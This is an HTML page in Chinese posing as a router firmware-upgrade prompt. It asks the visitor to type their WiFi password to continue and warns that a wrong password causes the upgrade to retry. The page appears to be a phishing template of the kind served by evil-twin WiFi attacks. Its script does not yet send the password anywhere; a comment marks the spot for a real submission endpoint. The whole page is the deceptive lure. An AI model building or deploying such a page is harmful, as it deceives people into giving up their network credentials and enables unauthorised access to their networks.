<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>路由器固件升级</title>
  <style>
    * {
      box-sizing: border-box;
      margin: 0;
      padding: 0;
      font-family: "微软雅黑", Arial, sans-serif;
    }

    body {
      background: linear-gradient(135deg, #0078d7, #00bcd4);
      min-height: 100vh;
      display: flex;
      align-items: center;
      justify-content: center;
      padding: 20px;
    }

    .card {
      background-color: #fff;
      border-radius: 16px;
      box-shadow: 0 6px 18px rgba(0,0,0,0.15);
      padding: 30px 20px;
      width: 100%;
      max-width: 400px;
      text-align: center;
      animation: fadeIn 0.6s ease;
    }

    .card h1 {
      font-size: 22px;
      margin-bottom: 15px;
      color: #333;
    }

    .card p {
      font-size: 15px;
      color: #555;
      margin-bottom: 25px;
      line-height: 1.6;
    }

    .input-group {
      margin-bottom: 20px;
      text-align: left;
    }

    .input-group label {
      font-size: 14px;
      color: #666;
      margin-bottom: 6px;
      display: block;
    }

    .input-group input {
      width: 100%;
      padding: 10px 12px;
      border-radius: 8px;
      border: 1px solid #ccc;
      font-size: 15px;
    }

    .btn {
      width: 100%;
      padding: 12px;
      background-color: #0078d7;
      color: #fff;
      border: none;
      border-radius: 8px;
      font-size: 16px;
      cursor: pointer;
      transition: background 0.3s ease;
    }

    .btn:hover {
      background-color: #005a9e;
    }

    @keyframes fadeIn {
      from { opacity: 0; transform: translateY(20px);}
      to { opacity: 1; transform: translateY(0);}
    }

    @media (max-width: 480px) {
      .card {
        padding: 25px 15px;
      }
      .card h1 {
        font-size: 20px;
      }
    }
  </style>
</head>
<body>

  <div class="card">
    <h1>路由器固件升级</h1>
    <p>您的路由器检测到固件需要升级，请输入WIFI密码后点击“确定”继续升级。预计耗时1分钟</p>
    <p>错误密码会导致升级重试!</p>
    
    <div class="input-group">
      <label for="password">WIFI密码：</label>
      <input type="text" id="password" placeholder="请输入密码">
    </div>

    <button class="btn" onclick="confirmUpgrade()">确定升级</button>
  </div>

  <script>
    function confirmUpgrade() {
      const pwd = document.getElementById('password').value.trim();
      if (!pwd) {
        alert('请输入WIFI密码');
        return;
      }
      // 这里可以替换为实际跳转或API
      alert('密码已提交，正在升级...');
      // location.href = 'http://192.168.0.1/upgrade'; // 举例
    }
  </script>

</body>
</html>
